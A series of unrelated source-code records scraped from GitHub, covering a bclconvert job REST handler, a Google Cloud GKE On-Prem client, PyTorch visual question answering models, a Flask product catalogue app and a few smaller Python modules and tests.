bcl_num_parallel_tiles = None\n bcl_num_conversion_threads = None\n bcl_num_compression_threads = None\n bcl_num_decompression_threads = None\n additional_args = \"\"\n\n for runfolders_path in self.config[\"runfolder_path\"]:\n if os.path.isdir(os.path.join(runfolders_path, runfolder)):\n runfolder_input = os.path.join(runfolders_path, runfolder)\n break\n\n if not os.path.isdir(runfolder_input):\n raise ArteriaUsageException(f\"No such file: {runfolder_input}\")\n\n if \"bclconvert_version\" in request_data:\n bclconvert_version = request_data[\"bclconvert_version\"]\n\n if \"output\" in request_data:\n output = request_data[\"output\"]\n\n if \"samplesheet\" in request_data:\n samplesheet = request_data[\"samplesheet\"]\n\n if \"barcode_mismatches\" in request_data:\n barcode_mismatches = request_data[\"barcode_mismatches\"]\n\n if \"tiles\" in request_data:\n tiles = request_data[\"tiles\"]\n\n if \"exclude_tiles\" in request_data:\n exclude_tiles = request_data[\"exclude_tiles\"]\n\n if \"use_base_mask\" in request_data:\n use_base_mask = request_data[\"use_base_mask\"]\n\n if \"create_indexes\" in request_data:\n if request_data[\"create_indexes\"] == \"True\":\n create_indexes = True\n\n if \"bcl_only_lane\" in request_data:\n bcl_only_lane = request_data['bcl_only_lane']\n\n if \"bcl_num_parallel_tiles\" in request_data:\n bcl_num_parallel_tiles = request_data['bcl_num_parallel_tiles']\n\n if \"bcl_num_conversion_threads\" in request_data:\n bcl_num_conversion_threads = request_data[\"bcl_num_conversion_threads\"]\n\n if \"bcl_num_compression_threads\" in request_data:\n bcl_num_compression_threads = request_data[\"bcl_num_compression_threads\"]\n\n if \"bcl_num_decompression_threads\" in request_data:\n bcl_num_decompression_threads = request_data[\"bcl_num_decompression_threads\"]\n\n if \"additional_args\" in request_data:\n additional_args = request_data[\"additional_args\"]\n\n config = BclConvertConfig(\n general_config=self.config,\n bclconvert_version=bclconvert_version,\n runfolder_input=runfolder_input,\n output=output,\n samplesheet=samplesheet,\n barcode_mismatches=barcode_mismatches,\n tiles=tiles,\n exclude_tiles=exclude_tiles,\n use_base_mask=use_base_mask,\n create_indexes=create_indexes,\n bcl_num_parallel_tiles=bcl_num_parallel_tiles,\n bcl_num_conversion_threads=bcl_num_conversion_threads,\n bcl_num_compression_threads=bcl_num_compression_threads,\n bcl_num_decompression_threads=bcl_num_decompression_threads,\n additional_args=additional_args)\n\n return config\n\n def post(self, runfolder):\n \"\"\"\n Starts a bclconvert for a runfolder. The input data can contain extra\n parameters for bclconvert. It should be a json encoded object and\n can contain one or more of the following parameters:\n - bclconvert_version\n - output\n - samplesheet (provide the entire samplesheet in the request)\n - barcode_mismatches\n - tiles\n - use_base_mask\n - additional_args\n If these are not set defaults setup in bclconvertConfig will be\n used (and those should be good enough for most cases).\n\n :param runfolder: name of the runfolder we want to start bclconvert for\n \"\"\"\n\n try:\n runfolder_config = self.create_config_from_request(runfolder, self.request.body)\n\n job_runner = self.bclconvert_cmd_generation_service(self.config). \\\n create_bclconvert_runner(runfolder_config)\n bclconvert_version = job_runner.version()\n cmd = job_runner.construct_command()\n # If the output directory exists, we always want to clear it.\n job_runner.delete_output()\n # job_runner.symlink_output_to_unaligned()\n\n log_file = self.bclconvert_log_file_provider.log_file_path(runfolder)\n\n job_id = self.runner_service().start(\n cmd,\n nbr_of_cores=runfolder_config.nbr_of_cores,\n run_dir=runfolder_config.runfolder_input,\n stdout=log_file,\n stderr=log_file)\n\n log.info(\n f\"Cmd: {cmd} started in {runfolder_config.runfolder_input} \"\n f\"with {runfolder_config.nbr_of_cores} cores. Writing logs to: {log_file}\")\n\n reverse_url = self.reverse_url(\"status\", job_id)\n status_end_point = f\"{self.request.protocol}://{self.request.host}{reverse_url}\"\n\n response_data = {\n \"job_id\": job_id,\n \"bclconvert_version\": bclconvert_version,\n \"service_version\": version,\n \"link\": status_end_point,\n \"state\": State.STARTED}\n\n self.set_status(202, reason=\"started processing\")\n self.write_json(response_data)\n except ArteriaUsageException as e:\n log.warning(f\"Failed starting {runfolder}. Message: {e}\")\n self.send_error(status_code=500, reason=e)\n\n\nclass StatusHandler(BaseBclConvertHandler, BclConvertServiceMixin):\n \"\"\"\n Get the status of one or all jobs.\n \"\"\"\n def get(self, job_id):\n \"\"\"\n Get the status of the specified job_id, or if now id is given, the\n status of all jobs.\n :param job_id: to check status for (set to empty to get status for all)\n \"\"\"\n\n if job_id:\n status = {\"state\": self.runner_service().status(job_id)}\n else:\n all_status = self.runner_service().status_all()\n status_dict = {}\n for k, v in all_status.items():\n status_dict[k] = {\"state\": v}\n status = status_dict\n\n self.write_json(status)\n\n\nclass StopHandler(BaseBclConvertHandler, BclConvertServiceMixin):\n \"\"\"\n Stop one or all jobs.\n \"\"\"\n\n def post(self, job_id):\n \"\"\"\n Stops the job with the specified id.\n :param job_id: of job to stop, or set to \"all\" to stop all jobs\n \"\"\"\n try:\n if job_id == \"all\":\n log.info(\"Attempting to stop all jobs.\")\n self.runner_service().stop_all()\n log.info(\"Stopped all jobs!\")\n self.set_status(200)\n elif job_id:\n log.info(f\"Attempting to stop job: {job_id}\")\n self.runner_service().stop(job_id)\n self.set_status(200)\n else:\n ArteriaUsageException(\"Unknown job to stop\")\n except ArteriaUsageException as e:\n log.warning(f\"Failed stopping job: {job_id}. Message: {e}\")\n self.send_error(500, reason=str(e))\n\n\nclass BclConvertLogHandler(BaseBclConvertHandler):\n \"\"\"\n Gets the content of the log for a particular runfolder\n \"\"\"\n\n def get(self, runfolder):\n \"\"\"\n Get the content of the log for a particular runfolder\n :param runfolder:\n :return:\n \"\"\"\n try:\n log_content = self.bclconvert_log_file_provider.get_log_for_runfolder(runfolder)\n response_data = {\"runfolder\": runfolder, \"log\": log_content}\n self.set_status(200)\n self.write_json(response_data)\n except IOError as e:\n log.warning(f\"Problem with accessing {runfolder}, message: {e}\")\n self.send_error(500, reason=str(e))\n","repo_name":"clinical-genomics-uppsala/arteria-bclconvert","sub_path":"bclconvert/handlers/bclconvert_handlers.py","file_name":"bclconvert_handlers.py","file_ext":"py","file_size_in_byte":11661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27762049989","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom typing import Generator\n\nfrom apitools.base.py import list_pager\nfrom googlecloudsdk.api_lib.container.gkeonprem import client\nfrom googlecloudsdk.api_lib.container.gkeonprem import update_mask\nfrom googlecloudsdk.calliope import parser_extensions\nfrom googlecloudsdk.command_lib.container.vmware import flags\nfrom googlecloudsdk.core import properties\nfrom googlecloudsdk.generated_clients.apis.gkeonprem.v1 import gkeonprem_v1_messages as messages\n\n\nclass AdminClustersClient(client.ClientBase):\n \"\"\"Client for clusters in gkeonprem vmware API.\"\"\"\n\n def __init__(self, **kwargs):\n super(AdminClustersClient, self).__init__(**kwargs)\n self._service = self._client.projects_locations_vmwareAdminClusters\n\n def Enroll(\n self, args, membership=None, vmware_admin_cluster_id=None, parent=None\n ) -> messages.Operation:\n \"\"\"Enrolls an admin cluster to Anthos on VMware.\"\"\"\n kwargs = {\n 'membership': (\n membership\n if membership\n else self._admin_cluster_membership_name(args)\n ),\n 'vmwareAdminClusterId': (\n vmware_admin_cluster_id\n if vmware_admin_cluster_id\n else self._admin_cluster_id(args)\n ),\n }\n req = messages.GkeonpremProjectsLocationsVmwareAdminClustersEnrollRequest(\n parent=parent if parent else self._admin_cluster_parent(args),\n enrollVmwareAdminClusterRequest=messages.EnrollVmwareAdminClusterRequest(\n **kwargs\n ),\n )\n return self._service.Enroll(req)\n\n def Unenroll(self, args: parser_extensions.Namespace) -> messages.Operation:\n \"\"\"Unenrolls an Anthos on VMware admin cluster.\"\"\"\n kwargs = {\n 'name': self._admin_cluster_name(args),\n 'validateOnly': self.GetFlag(args, 'validate_only'),\n 'allowMissing': self.GetFlag(args, 'allow_missing'),\n }\n req = messages.GkeonpremProjectsLocationsVmwareAdminClustersUnenrollRequest(\n **kwargs\n )\n return self._service.Unenroll(req)\n\n def List(\n self, args: parser_extensions.Namespace\n ) -> Generator[messages.VmwareAdminCluster, None, None]:\n \"\"\"Lists Admin Clusters in the GKE On-Prem VMware API.\"\"\"\n # Workaround for P4SA: Call query version config first, ignore the result.\n # Context: b/296435390#comment2\n project = (\n args.project if args.project else properties.VALUES.core.project.Get()\n )\n # Hard code location to `us-west1`, because it cannot handle `--location=-`.\n parent = 'projects/{project}/locations/{location}'.format(\n project=project, location='us-west1'\n )\n dummy_request = messages.GkeonpremProjectsLocationsVmwareClustersQueryVersionConfigRequest(\n parent=parent,\n )\n _ = self._client.projects_locations_vmwareClusters.QueryVersionConfig(\n dummy_request\n )\n\n if (\n 'location' not in args.GetSpecifiedArgsDict()\n and not properties.VALUES.container_vmware.location.Get()\n ):\n args.location = '-'\n\n list_req = (\n messages.GkeonpremProjectsLocationsVmwareAdminClustersListRequest(\n parent=self._location_name(args)\n )\n )\n\n return list_pager.YieldFromList(\n self._service,\n list_req,\n field='vmwareAdminClusters',\n batch_size=flags.Get(args, 'page_size'),\n limit=flags.Get(args, 'limit'),\n batch_size_attribute='pageSize',\n )\n\n def Update(\n self, args: parser_extensions.Namespace, cluster_ref=None\n ) -> messages.Operation:\n \"\"\"Updates an admin cluster to Anthos on VMware.\"\"\"\n kwargs = {\n 'name': (\n cluster_ref.RelativeName()\n if cluster_ref\n else self._admin_cluster_name(args)\n ),\n 'updateMask': update_mask.get_update_mask(\n args, update_mask.VMWARE_ADMIN_CLUSTER_ARGS_TO_UPDATE_MASKS\n ),\n 'vmwareAdminCluster': self._vmware_admin_cluster(args),\n }\n req = messages.GkeonpremProjectsLocationsVmwareAdminClustersPatchRequest(\n **kwargs\n )\n return self._service.Patch(req)\n\n def _vmware_admin_cluster(self, args: parser_extensions.Namespace):\n \"\"\"Constructs proto message VmwareAdminCluster.\"\"\"\n kwargs = {\n 'platformConfig': self._platform_config(args),\n }\n if any(kwargs.values()):\n return messages.VmwareAdminCluster(**kwargs)\n return None\n\n def _platform_config(self, args: parser_extensions.Namespace):\n \"\"\"Constructs proto message field platform_config.\"\"\"\n required_platform_version = flags.Get(args, 'required_platform_version')\n if required_platform_version is None:\n required_platform_version = flags.Get(args, 'version')\n\n kwargs = {\n 'requiredPlatformVersion': required_platform_version,\n }\n if any(kwargs.values()):\n return messages.VmwarePlatformConfig(**kwargs)\n return None\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/api_lib/container/gkeonprem/vmware_admin_clusters.py","file_name":"vmware_admin_clusters.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"19332547719","text":"import pickle\nfrom functools import partial\n\nimport torch\n\nimport numpy\nfrom allennlp.common import Params\nfrom allennlp.data import Vocabulary\nfrom torch.nn import Module, Linear, Embedding, LeakyReLU, Dropout, Tanh\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom src.utils.datasets import VisualQATrainDataset, my_collate\nfrom src.utils.helpers import init_config, filter_config\nfrom src.data_preprocessing.pretrained_embeddings import SavedEmbeddings\n\n\nclass BaselineModel(Module):\n def __init__(self,\n embeddings_result_file,\n vocab: Vocabulary,\n config: Params):\n \"\"\"\n Gets sentence embedding b averaging w2v word reprsentations and image embedding from pretrained\n convnet, combines them by a dot-product, then applies logistic regresssion\n \"\"\"\n super().__init__()\n self.emb_size = config.pop(\"emb_size\")\n self.vocab_size = vocab.get_vocab_size(\"tokens\")\n self.hidden_size = config.pop(\"hidden_size\")\n self.image_emb_size = config.pop(\"image_emb_size\")\n self.n_classes = config.pop(\"n_classes\")\n\n with open(embeddings_result_file, \"rb\") as f:\n saved_embs = SavedEmbeddings(pickle.load(f))\n\n self.embs = Embedding(self.vocab_size, embedding_dim=self.emb_size, padding_idx=0)\n emb_weights = numpy.zeros((self.vocab_size, self.emb_size), dtype=numpy.float32)\n saved_embs.return_zero_for_oov = False\n for idx, word in tqdm(vocab.get_index_to_token_vocabulary(\"tokens\").items()):\n if idx != 0:\n emb_weights[idx] = saved_embs.get(word)\n self.embs.weight.data = torch.tensor(emb_weights)\n self.question_to_hidden = Linear(self.emb_size, self.hidden_size)\n self.image_to_hidden = Linear(self.image_emb_size, self.hidden_size)\n\n self.hidden_to_hidden = Linear(self.hidden_size, self.hidden_size)\n\n self.scores_layer = Linear(self.hidden_size, self.n_classes)\n self.lrelu = LeakyReLU()\n self.dropout = Dropout(p=config.pop(\"dropout_rate\"))\n\n def forward(self, inputs):\n questions_idxs, image_emb = inputs\n question_embs = self.embs(questions_idxs)\n image_emb /= (image_emb ** 2 + 1e-6).sum(dim=1).sqrt().unsqueeze(1)\n\n mask = (questions_idxs != 0).type(torch.float32).unsqueeze(2)\n lengths = mask.sum(dim=1)\n question_features = (question_embs * mask).sum(dim=1)\n question_features /= lengths\n question_features = question_embs.sum(dim=1)\n question_features = question_features / (question_features ** 2 + 1e-6).sum(dim=1).sqrt().unsqueeze(1)\n\n question_features = self.lrelu(self.question_to_hidden(question_features))\n image_emb = self.lrelu(self.image_to_hidden(image_emb))\n\n combined = question_features * image_emb\n combined = self.dropout(combined)\n\n combined = self.lrelu(self.hidden_to_hidden(combined))\n combined = self.dropout(combined)\n\n logits = self.scores_layer(combined)\n return logits\n\n @property\n def device(self):\n return next(self.parameters()).device\n\n\nif __name__ == \"__main__\":\n config = init_config()\n data_config = config.pop(\"data\")\n data = VisualQATrainDataset(**filter_config(data_config, VisualQATrainDataset.__init__))\n dl = DataLoader(data, batch_size=12, collate_fn=partial(my_collate, vocab=data.vocab))\n x, y = next(iter(dl))\n model = BaselineModel(\n config=config[\"model\"],\n vocab=data.vocab, embeddings_result_file=data_config[\"embeddings_result_file\"])\n model(x)\n","repo_name":"festeh/VisualQA","sub_path":"src/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33567806987","text":"from recsys.algorithm.baseline import Baseline\nfrom recsys.algorithm.functions import Functions\nimport cPickle\n\n\nclass Initialize(object):\n\n def __init__(self):\n baseline = Baseline()\n s_matrix = cPickle.load(open(\"../recsys/data/sparse_matrix.p\"))\n baseline._matrix.set(s_matrix)\n baseline._matrix_and_data_aligned = True\n self.sparse_matrix = s_matrix\n\n myFunctions = Functions()\n items = myFunctions._read_items(\"../recsys/data/artists.dat\")\n self.artists = items","repo_name":"dnarwani/twitter-rec","sub_path":"build/lib.linux-x86_64-2.7/recmusic/recommender/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71903980384","text":"from boxClass import *\n\ndef processTuple(givenStr):\n retTuple = list(givenStr)\n for i in range(2):\n retTuple[i] = int(retTuple[i])\n return tuple(retTuple)\n\ndef main():\n model = boxClass()\n print(model)\n print(\"type two numbers next to each other for the tuple \\n\" + \\\n \"for example: 02 would be the 0th row, 2nd element \\n\" + \\\n \"note: the board is 0-indexed from the top-left corner \\n\"+\\\n \"hit to quit (when prompted for a tuple)\\n\")\n tupleStr = input(\"Give me a tuple:\")\n\n while tupleStr:\n doStr = input(\"i or d? (r, u, n?)\")\n if doStr.lower() == 'i':\n ##model.increment(processTuple(tupleStr))\n model.incrementMod(processTuple(tupleStr))\n print(model)\n if doStr.lower() == 'd':\n ##model.decrement(processTuple(tupleStr))\n model.decrementMod(processTuple(tupleStr))\n print(model)\n if doStr.lower() == 'r':\n model.resetBoard()\n print(model)\n if doStr.lower() == 'u':\n model.undoMove()\n print(model)\n if doStr.lower() == 'n':\n model = boxClass()\n print(model)\n if model.didWin():\n print(\"you won!!!\")\n doStr = input(\"keep playing? (y/n)\")\n if doStr == 'y':\n model.resetBoard()\n print(model)\n else:\n break\n tupleStr = input(\"Give me a tuple:\")\n\nmain()\n","repo_name":"josgood4/Flood-Fill-Game","sub_path":"boxInterface - shell.py","file_name":"boxInterface - shell.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1161350093","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom db import ContexSqlManager, sql_all_cetegory, sql_select_current_category, sql_select_product, \\\n sql_select_all_status, sql_inser_new_category, sql_inser_new_product\n\napp = Flask(__name__)\n\n\"\"\"\nMVC\n\"\"\"\n\"\"\"\"\nСоздать базу данных товаров, у товара есть:\n Категория (связанная таблица),\n название, есть ли товар в продаже или на складе, цена, кол-во единиц.Создать html страницу. \nНа первой странице выводить ссылки на все категории,\n при переходе на категорию получать список всех товаров в наличии ссылками, при клике на товар выводить его цену, \n полное описание и кол-во единиц в наличии.\n\"\"\"\n\nDB = 'database.sqlite'\n\n\n@app.route('/')\ndef index():\n with ContexSqlManager(DB) as db:\n exec_ = db.my_select(sql_all_cetegory)\n data = {}\n for to_data in exec_:\n data[to_data[0]] = to_data[1]\n\n return render_template('index.html', data=data)\n\n\n@app.route('/category/')\ndef category(category_id):\n with ContexSqlManager(DB) as db:\n exec_ = db.my_select(sql_select_current_category, category_id)\n data = {}\n for to_data in exec_:\n data[to_data[0]] = to_data[1]\n\n return render_template('category.html', data=data)\n\n\n@app.route('/product/')\ndef product(product_id):\n with ContexSqlManager(DB) as db:\n exec_ = db.my_select(sql_select_product, product_id)[0]\n name = exec_[0]\n cost = exec_[1]\n quantity = exec_[2]\n status = exec_[3]\n category_name = exec_[4]\n category_id = exec_[5]\n description = exec_[6]\n return render_template('product.html', name=name, cost=cost, quantity=quantity, status=status,\n category_name=category_name, category_id=category_id, description=description)\n\n\n@app.route('/admin', methods=['POST', 'GET'])\ndef admin():\n if request.method == 'GET':\n category_dict = {}\n status_dict = {}\n\n with ContexSqlManager(DB) as db:\n\n category_list = db.my_select(sql_all_cetegory)\n for data in category_list:\n category_dict[data[0]] = data[1]\n\n status_list = db.my_select(sql_select_all_status)\n for data in status_list:\n status_dict[data[0]] = data[1]\n\n return render_template('admin.html', status_dict=status_dict, category_dict=category_dict)\n\n elif request.method == 'POST':\n if 'category_name' in request.form:\n if request.form['category_name'] != '':\n with ContexSqlManager(DB) as db:\n db.my_execute(sql_inser_new_category, request.form['category_name'])\n else:\n if request.form['product_name'] != '' and request.form['cost'] != '' and \\\n request.form['quantity'] != '' and request.form['description'] != '':\n with ContexSqlManager(DB) as db:\n # product_name, status_id, cost, quantity, category_id, description\n db.my_execute(sql_inser_new_product, request.form['product_name'], request.form['status'],\n request.form['cost'], request.form['quantity'], request.form['category'],\n request.form['description'])\n return redirect(url_for('admin'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"jemper12/ITEA_lesson_igor_gaevuy","sub_path":"lessons_8/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6294074582","text":"from pyaedt.generic.general_methods import ET\n\n\nclass RefDes(object):\n def __init__(self):\n self.name = \"\"\n self.packaged_def = \"\"\n self.populate = \"True\"\n self.placement_layer = \"\"\n\n def write_xml(self, bom_item): # pragma no cover\n refdes = ET.SubElement(bom_item, \"RefDes\")\n refdes.set(\"name\", self.name)\n refdes.set(\"packageRef\", self.packaged_def)\n refdes.set(\"populate\", self.populate)\n refdes.set(\"layerRef\", self.placement_layer)\n","repo_name":"ansys/pyaedt","sub_path":"pyaedt/edb_core/ipc2581/bom/refdes.py","file_name":"refdes.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"7"} +{"seq_id":"36885752580","text":"from multimodal.text.wordembedding import PretrainedWordEmbedding\nfrom multimodal.text.basic_tokenizer import BasicTokenizer\nimport torch\nimport torch.nn as nn\nfrom torch.nn.utils.weight_norm import weight_norm\n\n\nclass QuestionEmbedding(nn.Module):\n def __init__(self, in_dim, num_hid, nlayers, bidirect, dropout):\n \"\"\"Module for question embedding\n \"\"\"\n super(QuestionEmbedding, self).__init__()\n self.rnn = nn.GRU(\n in_dim,\n num_hid,\n nlayers,\n bidirectional=bidirect,\n dropout=dropout,\n batch_first=True,\n )\n\n self.in_dim = in_dim\n self.num_hid = num_hid\n self.nlayers = nlayers\n self.ndirections = 1 + int(bidirect)\n\n def init_hidden(self, batch):\n # just to get the type of tensor\n weight = next(self.parameters()).data\n hid_shape = (self.nlayers * self.ndirections, batch, self.num_hid)\n return weight.new(*hid_shape).zero_()\n\n def forward(self, x):\n # x: [batch, sequence, in_dim]\n batch = x.size(0)\n hidden = self.init_hidden(batch)\n self.rnn.flatten_parameters()\n output, hidden = self.rnn(x, hidden)\n\n if self.ndirections == 1:\n return output[:, -1]\n\n forward_ = output[:, -1, : self.num_hid]\n backward = output[:, 0, self.num_hid :]\n return torch.cat((forward_, backward), dim=1)\n\n def forward_all(self, x):\n # x: [batch, sequence, in_dim]\n batch = x.size(0)\n hidden = self.init_hidden(batch)\n self.rnn.flatten_parameters()\n output, hidden = self.rnn(x, hidden)\n return output\n\n\nclass SimpleClassifier(nn.Module):\n def __init__(self, in_dim, hid_dim, out_dim, dropout):\n super(SimpleClassifier, self).__init__()\n layers = [\n weight_norm(nn.Linear(in_dim, hid_dim), dim=None),\n nn.ReLU(),\n nn.Dropout(dropout, inplace=True),\n weight_norm(nn.Linear(hid_dim, out_dim), dim=None),\n ]\n self.main = nn.Sequential(*layers)\n\n def forward(self, x):\n logits = self.main(x)\n return logits\n\n\nclass FCNet(nn.Module):\n \"\"\"Simple class for non-linear fully connect network\n \"\"\"\n\n def __init__(self, dims):\n super(FCNet, self).__init__()\n\n layers = []\n for i in range(len(dims) - 2):\n in_dim = dims[i]\n out_dim = dims[i + 1]\n layers.append(weight_norm(nn.Linear(in_dim, out_dim), dim=None))\n layers.append(nn.ReLU())\n layers.append(weight_norm(nn.Linear(dims[-2], dims[-1]), dim=None))\n layers.append(nn.ReLU())\n\n self.main = nn.Sequential(*layers)\n\n def forward(self, x):\n return self.main(x)\n\n\nclass Attention(nn.Module):\n def __init__(self, v_dim, q_dim, num_hid):\n super(Attention, self).__init__()\n self.nonlinear = FCNet([v_dim + q_dim, num_hid])\n self.linear = weight_norm(nn.Linear(num_hid, 1), dim=None)\n\n def forward(self, v, q):\n \"\"\"\n v: [batch, k, vdim]\n q: [batch, qdim]\n \"\"\"\n logits = self.logits(v, q)\n w = nn.functional.softmax(logits, 1)\n return w\n\n def logits(self, v, q):\n num_objs = v.size(1)\n q = q.unsqueeze(1).repeat(1, num_objs, 1)\n vq = torch.cat((v, q), 2)\n joint_repr = self.nonlinear(vq)\n logits = self.linear(joint_repr)\n return logits\n\n\nclass NewAttention(nn.Module):\n def __init__(self, v_dim, q_dim, num_hid, dropout=0.2):\n super(NewAttention, self).__init__()\n\n self.v_proj = FCNet([v_dim, num_hid])\n self.q_proj = FCNet([q_dim, num_hid])\n self.dropout = nn.Dropout(dropout)\n self.linear = weight_norm(nn.Linear(q_dim, 1), dim=None)\n\n def forward(self, v, q):\n \"\"\"\n v: [batch, k, vdim]\n q: [batch, qdim]\n \"\"\"\n logits = self.logits(v, q)\n w = nn.functional.softmax(logits, 1)\n return w\n\n def logits(self, v, q):\n batch, k, _ = v.size()\n v_proj = self.v_proj(v) # [batch, k, qdim]\n q_proj = self.q_proj(q).unsqueeze(1).repeat(1, k, 1)\n joint_repr = v_proj * q_proj\n joint_repr = self.dropout(joint_repr)\n logits = self.linear(joint_repr)\n return logits\n\n\nclass UpDownModel(nn.Module):\n \"\"\"\n The UpDown / BUTD model (Bottom-Up and Top-Down attention) by \n Peter Anderson, Xiaodong He, Chris Buehler, Damien Teney, Mark Johnson, Stephen Gould, Lei Zhang.\n\n Paper: https://arxiv.org/abs/1707.07998\n\n The implementation was adapted from this code: https://github.com/hengyuan-hu/bottom-up-attention-vqa.\n \"\"\"\n def __init__(\n self,\n num_ans,\n v_dim=2048,\n num_hid=2048,\n new_attention=True,\n tokens: list = None,\n num_tokens=None,\n padding_idx=None,\n freeze_emb=False,\n ):\n super().__init__()\n if tokens is not None:\n self.w_emb = PretrainedWordEmbedding(\n \"glove.6B.300d\", tokens=tokens, freeze=freeze_emb, padding_idx=None\n )\n else:\n self.w_emb = nn.Embedding(num_tokens, 300, padding_idx=padding_idx)\n if freeze_emb:\n self.w_emb.weight.requires_grad = False\n\n self.q_emb = QuestionEmbedding(300, num_hid, 1, False, 0.0)\n if new_attention:\n self.v_att = NewAttention(v_dim, self.q_emb.num_hid, num_hid)\n else:\n self.v_att = Attention(v_dim, self.q_emb.num_hid, num_hid)\n self.q_net = FCNet([self.q_emb.num_hid, num_hid])\n self.v_net = FCNet([v_dim, num_hid])\n self.classifier = SimpleClassifier(num_hid, num_hid * 2, num_ans, 0.5)\n\n def forward(self, batch):\n \"\"\"\n Forward method\n\n Args:\n batch (dict): Dictionnary containing the keys ``features`` (B*N*D tensor) and``question_tokens`` (B*L tensor)\n representing respectively the image and the question.\n \n Returns:\n (dict) containing the key ``logits``, which has dimension ``(batch, num_ans)`` containing the unnormalized logits.\n \"\"\"\n v = batch[\"features\"]\n q = batch[\"question_tokens\"]\n w_emb = self.w_emb(q)\n q_emb = self.q_emb(w_emb) # [batch, q_dim]\n att = self.v_att(v, q_emb)\n v_emb = (att * v).sum(1) # [batch, v_dim]\n q_repr = self.q_net(q_emb)\n v_repr = self.v_net(v_emb)\n joint_repr = q_repr * v_repr\n logits = self.classifier(joint_repr)\n out = {\n \"logits\": logits,\n # \"mm\": joint_repr,\n # \"processed_question\": q_emb,\n }\n return out\n\n @classmethod\n def from_pretrained(cls, name=\"updown-base\"):\n \"\"\"\n One of \"updown-base-100, updown-base-36, updown-newatt-100, updown-newatt-36\n \"\"\"\n pass\n\n\nif __name__ == \"__main__\":\n import argparse\n import pytorch_lightning as pl\n from multimodal.models.lightning import VQALightningModule\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dir-data\", help=\"dir where multimodal data (datasets, features) will be stored\")\n parser.add_argument(\"--dir-exp\", default=\"logs/vqa2/updown\")\n parser.add_argument(\"--v_dim\", type=int, default=2048)\n parser.add_argument(\"--num_hid\", type=int, default=2048)\n parser.add_argument(\"--batch_size\", default=512, type=int)\n parser.add_argument(\"--min-ans-occ\", default=9, type=int)\n parser.add_argument(\"--features\", default=\"coco-bottomup-36\")\n parser.add_argument(\"--old-attention\", action=\"store_true\")\n parser.add_argument(\"--num-workers\", default=6, type=int)\n parser.add_argument(\"--clip_grad\", type=float, default=0.25)\n parser.add_argument(\"--freeze_emb\", action=\"store_true\")\n parser.add_argument(\"--epochs\", type=int, default=50)\n parser.add_argument(\"--gpus\", help=\"Number of gpus to use\")\n parser.add_argument(\"--distributed-backend\")\n\n args = parser.parse_args()\n\n from multimodal.datasets.lightning import VQA2DataModule\n tokenizer = BasicTokenizer.from_pretrained(\"pretrained-vqa2\", dir_data=args.dir_data)\n\n vqa2 = VQA2DataModule(\n dir_data=args.dir_data,\n min_ans_occ=args.min_ans_occ,\n features=args.features,\n label=\"multilabel\",\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n )\n\n vqa2.prepare_data()\n vqa2.setup()\n\n num_ans = len(vqa2.train_dataset.answers)\n updown = UpDownModel(\n num_ans=num_ans,\n v_dim=args.v_dim,\n num_hid=args.num_hid,\n tokens=tokenizer.tokens,\n padding_idx=tokenizer.pad_token_id,\n new_attention=not args.old_attention,\n freeze_emb=args.freeze_emb\n )\n\n lightningmodel = VQALightningModule(\n updown,\n train_dataset=vqa2.train_dataset,\n val_dataset=vqa2.val_dataset,\n tokenizer=tokenizer,\n )\n\n trainer = pl.Trainer(\n gpus=args.gpus,\n max_epochs=args.epochs,\n gradient_clip_val=args.clip_grad,\n default_root_dir=args.dir_exp,\n profiler=\"simple\",\n distributed_backend=args.distributed_backend,\n )\n\n trainer.fit(lightningmodel, datamodule=vqa2)\n","repo_name":"multimodal/multimodal","sub_path":"multimodal/models/updown.py","file_name":"updown.py","file_ext":"py","file_size_in_byte":9261,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"7"} +{"seq_id":"72765604704","text":"def handwr_recog(API_key, log_img):\n\n import io\n import os\n import string\n from google.cloud import vision\n #you have to have this API-key (donloaded from the google vision projects\n #bit) in order for this to work, pinngs it off to google using your account\n os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]= API_key\n os.environ[\"GRPC_DEFAULT_SSL_ROOTS_FILE_PATH\"] = 'roots.pem'\n client = vision.ImageAnnotatorClient()\n\n path = log_img\n\n with io.open(path, 'rb') as image_file:\n content = image_file.read()\n\n image = vision.Image(content=content)\n\n response = client.document_text_detection(image=image)\n \n #this gives you the text from the picture as one big long string\n text_string = response.full_text_annotation.text\n\n return text_string\n","repo_name":"pduebel/auto-geodasy-log-input","sub_path":"handwr_recog.py","file_name":"handwr_recog.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71570458463","text":"import uuid\nfrom collections import OrderedDict\nfrom unittest.mock import call\n\nimport pytest\nfrom bs4 import BeautifulSoup\nfrom flask import url_for\nfrom tests import validate_route_permission\nfrom tests.conftest import (\n SERVICE_ONE_ID,\n fake_uuid,\n mock_get_live_service,\n mock_get_notifications,\n mock_get_service,\n mock_get_service_with_letters,\n mock_get_valid_service_callback_api,\n mock_get_valid_service_inbound_api,\n normalize_spaces,\n)\n\n\ndef test_should_show_api_page(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n 